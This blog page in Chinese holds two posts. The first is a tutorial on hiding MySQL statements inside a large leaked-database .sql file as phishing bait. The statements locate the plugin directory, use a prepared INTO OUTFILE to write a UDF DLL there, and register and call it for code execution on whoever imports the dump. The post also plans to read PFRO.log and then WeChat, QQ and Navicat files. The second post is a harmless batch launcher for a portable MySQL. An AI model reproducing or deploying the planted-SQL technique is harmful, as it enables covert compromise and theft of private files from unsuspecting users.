mysql-.sql文件钓鱼上线

前言

之前聊天的时候nux提了一嘴,能不能在裤子里插🐎,几百MB发给别人,一般警惕性差的就直接运行了,哪怕警惕性好一点的,几百M或者几百G的裤子想要检查也检查不了。这个想法我一直记得,于是乎今天就来研究研究。

为什么选用.sql呢?主要是目标受众好,并且对这个玩意警惕性不高,大家洗数据的时候就直接丢进mysql里运行了,一般也不会想太多,并且和压缩包钓鱼不同,只要你把文件放出去,就会有一堆人如同苍蝇一般直接受到吸引,蜂拥而来。

具体想法基本就是UDF,直接写出DLL然后运行。能RCE的基本就是这样了。

然而实际上利用条件有点苛刻,并不能百分百上线,有以下几个问题

  • mysql用户权限问题
  • mysql插件路径问题
  • 写出时候的动态路径问题
  • mysql插件路径权限问题

前面三个都好解决,最后一个是真的无解,所以遇到那些带secure开关的mysql基本就没办法上线,linux默认安装一般都带这个,但是好在,windows下这个问题并不太多,同时那些钓鱼目标群体洗数据一般也用的是windows洗,所以问题不太大。

对于用户权限问题,我们只需要在制作我们的钓鱼sql的时候,多设计到几个库的操作,大部分人就会知难而退,图省事,直接用root权限跑了(没错就是我)。至于如何获取mysql插件也很简单,直接用select @@basedir as basePath from dual拼接一下就行。

最复杂的其实是动态路径问题,我之前一直以为outfile不能用变量,结果今天查了一下,有prepareexecute这种好东西。可以动态指行sql语句,那么这些要素不都齐全了?直接进行一个代码的缝合

代码

直接上代码

SET @BasePath = (select @@basedir as basePath from dual) ; 
SET @fullOutputPath = CONCAT(@BasePath,'lib\\plugin\\','udf.dll');
SET @Ok_Path = REPLACE(@fullOutputPath,'\\','\\\\');
set @q1 = concat("SELECT 'this_is_evil_dll' INTO OUTFILE/* or dumpfile*/ '",@Ok_Path,"';");
select @Ok_Path;
prepare s1 from @q1;
execute s1;deallocate prepare s1;
create function eval_function returns string soname 'udf.dll';
select eval_function ();

写出dll后用udf的方式上线就行

一些解决办法

有时候不同版本的mysql的插件路径不同,并且64位windows/linux,32位windows/linux,所需要的路径/二进制文件也不同,这些改如何处理呢?

我的看法就是直接进行一个暴力试错,反正几百M的sql,多写几行别人也看不出来,不知道哪个版本的mysql?那就把每个版本的路径都写上去,不知道哪个版本的系统?那就把每个版本的二进制hex都写进去,总有一个会成功的.jpg

进阶

其实,如果不考虑上线,只考虑探针的话,我们select一些内容就行了,但是如果直接select不知道路径的情况下,我们能获取到的内容又不多,比如在linux下就只能读取到passwd,hosts这类东西。

但是对于这份.sql使用者的群体敏感性,我们基本能确认这些使用者用的不是红/蓝队,就是黑/灰产,对于他们这些用户来说,我们熟悉的cs/Navicat/qq/微信这些敏感文件都储存与C:\users\用户名\xxxxx下, 再此当中,只有用户名是不固定的?

有没有一种可能,只要我们获取到了用户名,其他这些数据也就随便我们读取了呢?

甚至读取这些数据所需要的权限更低,甚至写出文件不会触发杀软?

~ 所以接下来的目标,就是研究sql脚本如何自动获取路径,达成自动化探针的效果。 ~

通过这个文章看了一下:MySQL蜜罐获取攻击者微信ID

好的,要素又齐全了。

可以通过C:\Windows\PFRO.log大概率获取到电脑使用者的用户名。

那么直接通过load_file读取文件,然后使用mysql自带的left()、right()、substring()、substring_index()这类函数,不就能成了?

未完待续(哪天心情好了补代码)

Tags: mysql, 钓鱼, udf

绿色版Mysql制作

手头买了一个500G的SSD移动硬盘,带外壳的。虽然感觉翻车风险挺高,但是到手了,容量是真的也不是清零盘,速度也还ok,也就那样吧。
然后想了想,可不可以把这弄成一个工具包呢?
因为某些原因,要接触到各种大数据处理,所以想内置各代各种环境。
原本是想用音速启动的,后来想了想算了,还不如直接用文件管理,然后用各种ini魔改美化一下就差不多了。
接下来就是环境的问题,然后,就在这短短几天内,咱成为了bat小天才了。
自动识别盘符,自动提升权限。自动加环境变量以及启动服务。
使用方法,就是放在你的盘符下然后修改里面的变量为相对路径就行。
同理也可以制作其他的绿色版的玩意,比如窝目前整了个postgresql啊,mongodb啊什么的。。。
脚本如下:

cls 
@echo off
chcp 65001
:设置窗口字体颜色
color 0a 
:设置窗口标题
TITLE MySQL管理程序
set MYSQL_HOME=%~dp0LIB\mysql5.7\ :这里改成你Mysql的路径
echo MYSQL_HOME=%MYSQL_HOME%LIB\mysql5.7\
set PATH=%MYSQL_HOME%/bin;%PATH%
goto :init
  
goto menu
:菜单
:menu
cls
echo. 
echo.=-=-=-=-请选择您要对MySQL的操作-=-=-=-=-
echo.
echo.1: 启动MySQL
echo.
echo.2: 关闭MySQL
echo. 
echo.3: 命令行
echo. 
echo.4: 退 出
echo.
echo.=-=-=-=-请输入您要选择的项目序号↓-=-=-=-
set /p id=
if "%id%"=="1" goto startup
if "%id%"=="2" goto close
if "%id%"=="3" goto console
if "%id%"=="4" exit
pause
  
:启动
:startup

del /F LIB\mysql5.7\my.ini
echo [client] >> LIB\mysql5.7\my.ini
echo port = 3306 >> LIB\mysql5.7\my.ini
echo default_character_set=gbk >> LIB\mysql5.7\my.ini
echo [mysqld] >> LIB\mysql5.7\my.ini
rem echo default_character_set=utf8 >> LIB\mysql5.7\my.ini
echo default_storage_engine=InnoDB >> LIB\mysql5.7\my.ini
echo basedir=%MYSQL_HOME%>>LIB\mysql5.7\my.ini
echo datadir=%MYSQL_HOME%data>> LIB\mysql5.7\my.ini
rem echo innodb_data_file=ibdata1:50M;ibdata2:10M:autoextend >> LIB\mysql5.7\my.ini
echo transaction-isolation=READ-COMMITTED >> LIB\mysql5.7\my.ini
echo port=3306 >> LIB\mysql5.7\my.ini
echo max_allowed_packet = 64M >> LIB\mysql5.7\my.ini
echo "my.ini in %MYSQL_HOME% created."
set PATH=%MYSQL_HOME%/bin;%PATH%
rem if exist "%MYSQL_HOME%/bin/mysqld-nt.exe" call mysqld-nt --install-manual mysql57 --defaults-file="%MYSQL_HOME%/my.ini"
if not exist "%MYSQL_HOME%/data" call mysqld --initialize-insecure 
call mysqld --install-manual mysql57 --defaults-file="%MYSQL_HOME%my.ini"
call net start mysql57
echo.启动Mysql成功.....
pause
goto menu

:停止
:close
echo.
echo.关闭MySQL......
net stop "mysql57"
sc delete mysql57
echo.关闭MySQL成功!
pause 
goto menu
  
:重启
:console
echo.
cmd /k
  
:退出
:goout
pause
goto menu

  
:检查是否是以管理员身份运行
:init
setlocal DisableDelayedExpansion
set "batchPath=%~0"
for %%k in (%0) do set batchName=%%~nk
set "vbsGetPrivileges=%temp%\OEgetPriv_%batchName%.vbs"
setlocal EnableDelayedExpansion

:checkPrivileges
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges )

:getPrivileges
if '%1'=='ELEV' (echo ELEV & shift /1 & goto gotPrivileges)
ECHO.
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation
ECHO **************************************

ECHO Set UAC = CreateObject^("Shell.Application"^) > "%vbsGetPrivileges%"
ECHO args = "ELEV " >> "%vbsGetPrivileges%"
ECHO For Each strArg in WScript.Arguments >> "%vbsGetPrivileges%"
ECHO args = args ^& strArg ^& " "  >> "%vbsGetPrivileges%"
ECHO Next >> "%vbsGetPrivileges%"
ECHO UAC.ShellExecute "!batchPath!", args, "", "runas", 1 >> "%vbsGetPrivileges%"
"%SystemRoot%\System32\WScript.exe" "%vbsGetPrivileges%" %*
exit /B

:gotPrivileges
setlocal & pushd .
cd /d %~dp0
if '%1'=='ELEV' (del "%vbsGetPrivileges%" 1>nul 2>nul  &  shift /1)
goto menu
Tags: mysql